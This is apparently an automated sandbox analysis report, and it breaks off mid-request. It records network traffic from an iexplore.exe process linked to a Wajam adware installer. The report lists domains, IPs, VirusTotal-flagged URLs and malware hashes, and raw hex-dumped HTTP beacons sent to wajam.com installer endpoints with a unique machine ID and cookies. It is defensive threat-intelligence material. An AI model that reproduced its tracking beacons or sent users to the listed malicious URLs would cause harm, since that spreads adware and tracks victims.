Domain cs491.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 06/19/2019 06:34:55 VirusTotal Report	cs491.wac.edgecastcdn.net	-	-	06/19/2019 06:34:55	Report
Domain platform.twitter.com Threat Level - Positives - Last Resolved 06/19/2019 13:36:25 VirusTotal Report	platform.twitter.com	-	-	06/19/2019 13:36:25	Report
Domain cs472.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 06/12/2019 03:05:38 VirusTotal Report	cs472.wac.edgecastcdn.net	-	-	06/12/2019 03:05:38	Report
Domain cs1-lb-eu.8315.ecdns.net Threat Level - Positives - Last Resolved 06/05/2019 23:12:45 VirusTotal Report	cs1-lb-eu.8315.ecdns.net	-	-	06/05/2019 23:12:45	Report
Domain cs155.wac.edgecastcdn.net Threat Level - Positives - Last Resolved 04/30/2019 02:24:05 VirusTotal Report	cs155.wac.edgecastcdn.net	-	-	04/30/2019 02:24:05	Report

TCP

iexplore.exe
PID: 4652

United States

151.139.244.29

Associated Artifacts for 151.139.244.29

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://indigenouspathwaysus.com/page-9/Cache/Bookmark/Chase0n3 Threat Level malicious Positives 7/70 Scan Date 06/19/2019 01:56:47 Reference -	http://indigenouspathwaysus.com/page-9/Cache/Bookmark/Chase0n3	malicious	7/70	06/19/2019 01:56:47	-
Associated URL http://indigenouspathwaysus.com/page-4/page-6/files/Cookies Threat Level malicious Positives 5/67 Scan Date 06/09/2019 02:02:43 Reference -	http://indigenouspathwaysus.com/page-4/page-6/files/Cookies	malicious	5/67	06/09/2019 02:02:43	-
Associated URL http://indigenouspathwaysus.com/page-4/page-5/Cache Threat Level malicious Positives 8/67 Scan Date 06/08/2019 08:02:57 Reference -	http://indigenouspathwaysus.com/page-4/page-5/Cache	malicious	8/67	06/08/2019 08:02:57	-
Associated URL http://indigenouspathwaysus.com/page-9/Cache/Bookmark Threat Level malicious Positives 3/67 Scan Date 06/05/2019 14:10:05 Reference -	http://indigenouspathwaysus.com/page-9/Cache/Bookmark	malicious	3/67	06/05/2019 14:10:05	-
Associated URL http://indigenouspathwaysus.com/page-4/page-6/files Threat Level malicious Positives 2/67 Scan Date 05/29/2019 13:29:18 Reference -	http://indigenouspathwaysus.com/page-4/page-6/files	malicious	2/67	05/29/2019 13:29:18	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 05073af551fd4064cced8a8b13a4491125b3cd1f08defe3d3970b8211c46e6b2 Threat Level no verdict Positives - Scan Date 02/27/2019 00:35:26 Reference AlienVault	05073af551fd4064cced8a8b13a4491125b3cd1f08defe3d3970b8211c46e6b2	no verdict	-	02/27/2019 00:35:26	AlienVault
Associated SHA256 7a0403cd44fddb5c9d88965bdd3b26d0562de81b7945ddbc4f56651760a2fbe2 Threat Level suspicious Positives 1/68 Scan Date 11/16/2018 18:18:57 Reference VirusTotal	7a0403cd44fddb5c9d88965bdd3b26d0562de81b7945ddbc4f56651760a2fbe2	suspicious	1/68	11/16/2018 18:18:57	VirusTotal
Associated SHA256 10e720e38144e87e99c07dd82eaa63bfd785063341333b9b043c9f8a697059dd Threat Level suspicious Positives 1/69 Scan Date 11/15/2018 02:05:13 Reference VirusTotal	10e720e38144e87e99c07dd82eaa63bfd785063341333b9b043c9f8a697059dd	suspicious	1/69	11/15/2018 02:05:13	VirusTotal
Associated SHA256 ca5cfea416c583e9c87fd99f6e45f52fd00d5ae1976ecc347624da14acb797c4 Threat Level suspicious Positives 1/68 Scan Date 11/11/2018 02:00:31 Reference VirusTotal	ca5cfea416c583e9c87fd99f6e45f52fd00d5ae1976ecc347624da14acb797c4	suspicious	1/68	11/11/2018 02:00:31	VirusTotal
Associated SHA256 876c706dcfd4b5e58ab3024d0df69ced0b75562f2718a5447c0be9adb920d1fe Threat Level malicious Positives 60/68 Scan Date 10/30/2017 17:26:59 Reference VirusTotal	876c706dcfd4b5e58ab3024d0df69ced0b75562f2718a5447c0be9adb920d1fe	malicious	60/68	10/30/2017 17:26:59	VirusTotal
Associated SHA256 40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3 Threat Level no verdict Positives - Scan Date 08/27/2017 21:46:48 Reference AlienVault	40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3	no verdict	-	08/27/2017 21:46:48	AlienVault
Associated SHA256 2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239 Threat Level no verdict Positives - Scan Date 08/03/2017 11:32:24 Reference AlienVault	2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239	no verdict	-	08/03/2017 11:32:24	AlienVault
Associated SHA256 248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945 Threat Level no verdict Positives - Scan Date 08/01/2017 18:11:30 Reference AlienVault	248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945	no verdict	-	08/01/2017 18:11:30	AlienVault
Associated SHA256 8f6136d4de51122f9bdefefeeeb57671c91f33fe18fb3b52e711b7fd23060410 Threat Level malicious Positives 2/65 Scan Date 07/28/2017 09:28:54 Reference VirusTotal	8f6136d4de51122f9bdefefeeeb57671c91f33fe18fb3b52e711b7fd23060410	malicious	2/65	07/28/2017 09:28:54	VirusTotal
Associated SHA256 c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5 Threat Level no verdict Positives - Scan Date 06/09/2017 03:02:41 Reference AlienVault	c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5	no verdict	-	06/09/2017 03:02:41	AlienVault

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain indigenouspathwaysus.com Threat Level - Positives - Last Resolved 06/19/2019 12:55:03 VirusTotal Report	indigenouspathwaysus.com	-	-	06/19/2019 12:55:03	Report
Domain proposition.dialoginsight.com Threat Level - Positives - Last Resolved 06/19/2019 05:04:09 VirusTotal Report	proposition.dialoginsight.com	-	-	06/19/2019 05:04:09	Report
Domain www.indigenouspathwaysus.com Threat Level - Positives - Last Resolved 06/19/2019 12:55:03 VirusTotal Report	www.indigenouspathwaysus.com	-	-	06/19/2019 12:55:03	Report
Domain coffeewithpaul.com Threat Level - Positives - Last Resolved 06/18/2019 10:20:21 VirusTotal Report	coffeewithpaul.com	-	-	06/18/2019 10:20:21	Report
Domain okhosting.com Threat Level - Positives - Last Resolved 06/17/2019 05:56:22 VirusTotal Report	okhosting.com	-	-	06/17/2019 05:56:22	Report

TCP

iexplore.exe
PID: 4652

United States

172.217.7.131

Associated Artifacts for 172.217.7.131

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 bf3f597d290ffec7e2dfa0a33c74954be5fac77f36327f055bb4b8f838d4f618 Threat Level malicious Positives 56/71 Scan Date 06/17/2019 21:56:27 Reference VirusTotal	bf3f597d290ffec7e2dfa0a33c74954be5fac77f36327f055bb4b8f838d4f618	malicious	56/71	06/17/2019 21:56:27	VirusTotal
Associated SHA256 fdbac1c1d4f4052212fcab4656bd52aa813de741f03a9ceb587dda72dde312a6 Threat Level malicious Positives 56/71 Scan Date 06/15/2019 23:04:55 Reference VirusTotal	fdbac1c1d4f4052212fcab4656bd52aa813de741f03a9ceb587dda72dde312a6	malicious	56/71	06/15/2019 23:04:55	VirusTotal
Associated SHA256 6931482d4043722c1cf08ed16ca42a7e3e32a28ff31fb34657364308761137eb Threat Level malicious Positives 59/71 Scan Date 06/09/2019 22:55:42 Reference VirusTotal	6931482d4043722c1cf08ed16ca42a7e3e32a28ff31fb34657364308761137eb	malicious	59/71	06/09/2019 22:55:42	VirusTotal
Associated SHA256 3856c5245e63fd08e822622796f3b72b04ddb9e2d33c189c6b9e2d8056841c25 Threat Level malicious Positives 55/73 Scan Date 06/08/2019 23:54:55 Reference VirusTotal	3856c5245e63fd08e822622796f3b72b04ddb9e2d33c189c6b9e2d8056841c25	malicious	55/73	06/08/2019 23:54:55	VirusTotal
Associated SHA256 5ba27a2b0bdf609c4df9a5a11f834f4fdd7a85aaacb7c65a0165674977e99f42 Threat Level malicious Positives 56/72 Scan Date 06/07/2019 23:49:16 Reference VirusTotal	5ba27a2b0bdf609c4df9a5a11f834f4fdd7a85aaacb7c65a0165674977e99f42	malicious	56/72	06/07/2019 23:49:16	VirusTotal
Associated SHA256 52fca8adb64e8a8f8b81214a612bbd1555dcff0679d63b077493f9b15e4b9427 Threat Level no verdict Positives - Scan Date 03/14/2018 11:02:03 Reference AlienVault	52fca8adb64e8a8f8b81214a612bbd1555dcff0679d63b077493f9b15e4b9427	no verdict	-	03/14/2018 11:02:03	AlienVault
Associated SHA256 c6b2aa73eecbcd38bb48fad255cf25046aac7fb766853e659bbe4369b3067c63 Threat Level no verdict Positives - Scan Date 03/14/2018 10:50:40 Reference AlienVault	c6b2aa73eecbcd38bb48fad255cf25046aac7fb766853e659bbe4369b3067c63	no verdict	-	03/14/2018 10:50:40	AlienVault
Associated SHA256 b40d1341722014701bfbcb5bf3040c77e693917a8049c782079bfe88d0fb4ffe Threat Level no verdict Positives - Scan Date 01/11/2018 04:06:03 Reference AlienVault	b40d1341722014701bfbcb5bf3040c77e693917a8049c782079bfe88d0fb4ffe	no verdict	-	01/11/2018 04:06:03	AlienVault
Associated SHA256 2d186e84ef5c67ef6c1e660f0ddb9d91f1e1ff60876a93228e357188791900f4 Threat Level no verdict Positives - Scan Date 01/10/2018 20:13:31 Reference AlienVault	2d186e84ef5c67ef6c1e660f0ddb9d91f1e1ff60876a93228e357188791900f4	no verdict	-	01/10/2018 20:13:31	AlienVault
Associated SHA256 60fafbfeeb435fee4d68896409c320636a05796e7936bdbc7ec6c9bc696ecec1 Threat Level no verdict Positives - Scan Date 12/14/2017 04:46:01 Reference AlienVault	60fafbfeeb435fee4d68896409c320636a05796e7936bdbc7ec6c9bc696ecec1	no verdict	-	12/14/2017 04:46:01	AlienVault

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain xn--sckhelvng-v1ab5603gtja.vn Threat Level - Positives - Last Resolved 06/11/2019 04:58:26 VirusTotal Report	xn--sckhelvng-v1ab5603gtja.vn	-	-	06/11/2019 04:58:26	Report
Domain id.google.bg Threat Level - Positives - Last Resolved 05/28/2019 11:51:34 VirusTotal Report	id.google.bg	-	-	05/28/2019 11:51:34	Report
Domain iad30s08-in-f131.1e100.net Threat Level - Positives - Last Resolved 05/17/2019 15:05:52 VirusTotal Report	iad30s08-in-f131.1e100.net	-	-	05/17/2019 15:05:52	Report
Domain iad30s08-in-f3.1e100.net Threat Level - Positives - Last Resolved 05/15/2019 21:57:43 VirusTotal Report	iad30s08-in-f3.1e100.net	-	-	05/15/2019 21:57:43	Report
Domain id.google.com.mx Threat Level - Positives - Last Resolved 05/03/2019 22:50:14 VirusTotal Report	id.google.com.mx	-	-	05/03/2019 22:50:14	Report

TCP

iexplore.exe
PID: 4652

United States

104.244.42.72

Associated Artifacts for 104.244.42.72

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL https://syndication.twitter.com/ Threat Level suspicious Positives 1/66 Scan Date 03/22/2019 12:15:44 Reference -	https://syndication.twitter.com/	suspicious	1/66	03/22/2019 12:15:44	-
Associated URL https://syndication.twitter.com/i/jot/syndication?l={%22_category_%22:%22syndicated_impression%22,%22event_namespace%22:{%22client%22:%22web%22,%22page%22:%22profile%22,%22action%22:%22impression%22},%22triggered_on%22:1553255746886} Threat Level suspicious Positives 1/66 Scan Date 03/22/2019 12:14:30 Reference -	https://syndication.twitter.com/i/jot/syndication?l={%22_category_%22:%22syndicated_impression%22,%22event_namespace%22:{%22client%22:%22web%22,%22page%22:%22profile%22,%22action%22:%22impression%22},%22triggered_on%22:1553255746886}	suspicious	1/66	03/22/2019 12:14:30	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 a210a164b2cfb981e2a6a6aad36706e8342a3eab2c81093b682a6f7e8799ecc3 Threat Level malicious Positives 3/71 Scan Date 06/18/2019 09:39:00 Reference VirusTotal	a210a164b2cfb981e2a6a6aad36706e8342a3eab2c81093b682a6f7e8799ecc3	malicious	3/71	06/18/2019 09:39:00	VirusTotal
Associated SHA256 0957ab909d52abc91dea24cc6c627813126e05429c770e43ef85c1aac1e7a76e Threat Level malicious Positives 18/70 Scan Date 06/17/2019 11:35:18 Reference VirusTotal	0957ab909d52abc91dea24cc6c627813126e05429c770e43ef85c1aac1e7a76e	malicious	18/70	06/17/2019 11:35:18	VirusTotal
Associated SHA256 e58587bcb5c1273652d361f77c356f91dd5ca9436b62c28aeab31ed2a4449906 Threat Level malicious Positives 5/71 Scan Date 06/17/2019 14:55:41 Reference VirusTotal	e58587bcb5c1273652d361f77c356f91dd5ca9436b62c28aeab31ed2a4449906	malicious	5/71	06/17/2019 14:55:41	VirusTotal
Associated SHA256 ec1f9759d95d8b3f8274bae612a66a847bbb479ba78221966517abbcf50ed387 Threat Level malicious Positives 11/72 Scan Date 06/17/2019 14:26:24 Reference VirusTotal	ec1f9759d95d8b3f8274bae612a66a847bbb479ba78221966517abbcf50ed387	malicious	11/72	06/17/2019 14:26:24	VirusTotal
Associated SHA256 78f70ff918b9aa5cfe0de07f604c7e4b88ebdab7e8a1a6066372307859ed83e5 Threat Level malicious Positives 19/71 Scan Date 06/16/2019 08:42:21 Reference VirusTotal	78f70ff918b9aa5cfe0de07f604c7e4b88ebdab7e8a1a6066372307859ed83e5	malicious	19/71	06/16/2019 08:42:21	VirusTotal

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain syndication.twitter.com Threat Level - Positives - Last Resolved 06/19/2019 04:37:41 VirusTotal Report	syndication.twitter.com	-	-	06/19/2019 04:37:41	Report
Domain syndication.twimg.com Threat Level - Positives - Last Resolved 06/10/2019 07:05:50 VirusTotal Report	syndication.twimg.com	-	-	06/10/2019 07:05:50	Report
Domain cdn.syndication.twitter.com Threat Level - Positives - Last Resolved 06/07/2019 01:29:06 VirusTotal Report	cdn.syndication.twitter.com	-	-	06/07/2019 01:29:06	Report

TCP

iexplore.exe
PID: 4652

United States

Contacted Countries

HTTP Traffic

Endpoint

Request

URL

Data

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=

GET /installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp= HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: www.wajam.com Connection: Keep-Alive Cache-Control: no-cache More Details

Format

Details

Request

GET /installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp= HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: www.wajam.com
Connection: Keep-Alive
Cache-Control: no-cache

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 00 F4 0A DD 40 00 80 06 AD 87 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C0 E6 00 50 EB 8A E3 39 2E A2 CF E8 50 18 [.v...P...9....P.]
    30 : FA F0 FB 57 00 00 47 45 54 20 2F 69 6E 73 74 61 [...W..GET /insta]
    40 : 6C 6C 65 72 2F 70 72 6F 67 72 65 73 73 3F 73 65 [ller/progress?se]
    50 : 63 74 69 6F 6E 3D 31 30 30 26 61 69 64 3D 26 61 [ction=100&aid=&a]
    60 : 69 64 32 3D 26 75 6E 69 71 75 65 5F 69 64 3D 26 [id2=&unique_id=&]
    70 : 74 76 3D 31 2E 39 32 2D 31 33 26 69 6E 73 74 61 [tv=1.92-13&insta]
    80 : 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D 20 48 54 [ll_timestamp= HT]
    90 : 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 [TP/1.1..User-Age]
    A0 : 6E 74 3A 20 4E 53 49 53 5F 49 6E 65 74 63 20 28 [nt: NSIS_Inetc (]
    B0 : 4D 6F 7A 69 6C 6C 61 29 0D 0A 48 6F 73 74 3A 20 [Mozilla)..Host: ]
    C0 : 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 43 [www.wajam.com..C]
    D0 : 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D [onnection: Keep-]
    E0 : 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F 6E [Alive..Cache-Con]
    F0 : 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A [trol: no-cache..]
   100 : 0D 0A [..]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

GET /installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: www.wajam.com Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958553; APPSESSID=w3|XQpWf|XQpWf More Details

Format

Details

Request

GET /installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: www.wajam.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958553; APPSESSID=w3|XQpWf|XQpWf

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 88 0A EA 40 00 80 06 AC E6 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C0 E7 00 50 BE 3D 40 C5 8B E8 B0 60 50 18 [.v...P.=@....`P.]
    30 : FA F0 78 91 00 00 47 45 54 20 2F 69 6E 73 74 61 [..x...GET /insta]
    40 : 6C 6C 65 72 2F 73 74 61 72 74 3F 61 69 64 3D 33 [ller/start?aid=3]
    50 : 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 75 6E [673&aid2=none&un]
    60 : 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 [ique_id=C7C92D87]
    70 : 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 [F1EF2BC54BF1F382]
    80 : 45 35 39 34 39 38 35 37 26 74 76 3D 31 2E 39 32 [E5949857&tv=1.92]
    90 : 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 [-13&install_time]
    A0 : 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 [stamp=1560965831]
    B0 : 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D [ HTTP/1.1..User-]
    C0 : 41 67 65 6E 74 3A 20 4E 53 49 53 5F 49 6E 65 74 [Agent: NSIS_Inet]
    D0 : 63 20 28 4D 6F 7A 69 6C 6C 61 29 0D 0A 48 6F 73 [c (Mozilla)..Hos]
    E0 : 74 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D [t: www.wajam.com]
    F0 : 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 [..Connection: Ke]
   100 : 65 70 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D [ep-Alive..Cache-]
   110 : 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 [Control: no-cach]
   120 : 65 0D 0A 43 6F 6F 6B 69 65 3A 20 50 48 50 53 45 [e..Cookie: PHPSE]
   130 : 53 53 49 44 3D 76 6D 6E 62 68 75 32 34 30 31 37 [SSID=vmnbhu24017]
   140 : 39 64 62 66 69 6B 64 70 6B 38 32 61 6A 65 6C 3B [9dbfikdpk82ajel;]
   150 : 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 35 33 [ _wau=1560958553]
   160 : 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D 31 35 [8671540; _wal=15]
   170 : 36 30 39 35 38 35 35 33 3B 20 41 50 50 53 45 53 [60958553; APPSES]
   180 : 53 49 44 3D 77 33 7C 58 51 70 57 66 7C 58 51 70 [SID=w3|XQpWf|XQp]
   190 : 57 66 0D 0A 0D 0A [Wf....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

GET /installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: www.wajam.com Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958555; APPSESSID=w3|XQpWg|XQpWf More Details

Format

Details

Request

GET /installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: www.wajam.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=vmnbhu240179dbfikdpk82ajel; _wau=15609585538671540; _wal=1560958555; APPSESSID=w3|XQpWg|XQpWf

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 8F 0B 0B 40 00 80 06 AC BE C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C0 EA 00 50 08 78 3A 03 6F A3 0B 28 50 18 [.v...P.x:.o..(P.]
    30 : FA F0 B7 D7 00 00 47 45 54 20 2F 69 6E 73 74 61 [......GET /insta]
    40 : 6C 6C 65 72 2F 70 6F 73 74 5F 69 6E 73 74 61 6C [ller/post_instal]
    50 : 6C 3F 61 69 64 3D 33 36 37 33 26 61 69 64 32 3D [l?aid=3673&aid2=]
    60 : 6E 6F 6E 65 26 75 6E 69 71 75 65 5F 69 64 3D 43 [none&unique_id=C]
    70 : 37 43 39 32 44 38 37 46 31 45 46 32 42 43 35 34 [7C92D87F1EF2BC54]
    80 : 42 46 31 46 33 38 32 45 35 39 34 39 38 35 37 26 [BF1F382E5949857&]
    90 : 74 76 3D 31 2E 39 32 2D 31 33 26 69 6E 73 74 61 [tv=1.92-13&insta]
    A0 : 6C 6C 5F 74 69 6D 65 73 74 61 6D 70 3D 31 35 36 [ll_timestamp=156]
    B0 : 30 39 36 35 38 33 31 20 48 54 54 50 2F 31 2E 31 [0965831 HTTP/1.1]
    C0 : 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4E 53 [..User-Agent: NS]
    D0 : 49 53 5F 49 6E 65 74 63 20 28 4D 6F 7A 69 6C 6C [IS_Inetc (Mozill]
    E0 : 61 29 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 77 61 [a)..Host: www.wa]
    F0 : 6A 61 6D 2E 63 6F 6D 0D 0A 43 6F 6E 6E 65 63 74 [jam.com..Connect]
   100 : 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D [ion: Keep-Alive.]
   110 : 0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 [.Cache-Control: ]
   120 : 6E 6F 2D 63 61 63 68 65 0D 0A 43 6F 6F 6B 69 65 [no-cache..Cookie]
   130 : 3A 20 50 48 50 53 45 53 53 49 44 3D 76 6D 6E 62 [: PHPSESSID=vmnb]
   140 : 68 75 32 34 30 31 37 39 64 62 66 69 6B 64 70 6B [hu240179dbfikdpk]
   150 : 38 32 61 6A 65 6C 3B 20 5F 77 61 75 3D 31 35 36 [82ajel; _wau=156]
   160 : 30 39 35 38 35 35 33 38 36 37 31 35 34 30 3B 20 [09585538671540; ]
   170 : 5F 77 61 6C 3D 31 35 36 30 39 35 38 35 35 35 3B [_wal=1560958555;]
   180 : 20 41 50 50 53 45 53 53 49 44 3D 77 33 7C 58 51 [ APPSESSID=w3|XQ]
   190 : 70 57 67 7C 58 51 70 57 66 0D 0A 0D 0A [pWg|XQpWf....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=15...

GET /index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958585 More Details

Format

Details

Request

GET /index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958585

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 DB 0B 28 40 00 80 06 AC 55 C0 A8 F0 F9 05 87 [...(@....U......]
    20 : 8A 76 C0 EC 00 50 AB FB 79 D0 16 80 7A D1 50 18 [.v...P..y...z.P.]
    30 : FA F0 A7 A7 00 00 47 45 54 20 2F 69 6E 64 65 78 [......GET /index]
    40 : 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 [.php?firstrun=1&]
    50 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
    60 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
    70 : 38 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 [82E5949857&aid=3]
    80 : 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E [673&aid2=none&en]
    90 : 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D [abled=1&tv=1.92-]
    A0 : 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 [13&install_times]
    B0 : 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 [tamp=1560965831&]
    C0 : 63 6C 70 3D 20 48 54 54 50 2F 31 2E 31 0D 0A 41 [clp= HTTP/1.1..A]
    D0 : 63 63 65 70 74 3A 20 74 65 78 74 2F 68 74 6D 6C [ccept: text/html]
    E0 : 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 68 [, application/xh]
    F0 : 74 6D 6C 2B 78 6D 6C 2C 20 2A 2F 2A 0D 0A 41 63 [tml+xml, */*..Ac]
   100 : 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 [cept-Language: e]
   110 : 6E 2D 55 53 0D 0A 55 73 65 72 2D 41 67 65 6E 74 [n-US..User-Agent]
   120 : 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 [: Mozilla/5.0 (W]
   130 : 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 [indows NT 6.1; T]
   140 : 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 [rident/7.0; rv:1]
   150 : 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D [1.0) like Gecko.]
   160 : 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 [.Accept-Encoding]
   170 : 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D [: gzip, deflate.]
   180 : 0A 48 6F 73 74 3A 20 77 77 77 2E 77 61 6A 61 6D [.Host: www.wajam]
   190 : 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 6F [.com..DNT: 1..Co]
   1A0 : 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 [nnection: Keep-A]
   1B0 : 6C 69 76 65 0D 0A 43 6F 6F 6B 69 65 3A 20 5F 77 [live..Cookie: _w]
   1C0 : 61 75 3D 31 35 36 30 39 35 38 35 35 33 38 36 37 [au=1560958553867]
   1D0 : 31 35 34 30 3B 20 5F 77 61 6C 3D 31 35 36 30 39 [1540; _wal=15609]
   1E0 : 35 38 35 38 35 0D 0A 0D 0A [58585....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/js/min_general_en.js?1.00434.0

GET /js/min_general_en.js?1.00434.0 HTTP/1.1 Accept: application/javascript, */*;q=0.8 Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958588; PHPSESSID=239dc928casm20ommfnj... More Details

Format

Details

Request

GET /js/min_general_en.js?1.00434.0 HTTP/1.1
Accept: application/javascript, */*;q=0.8
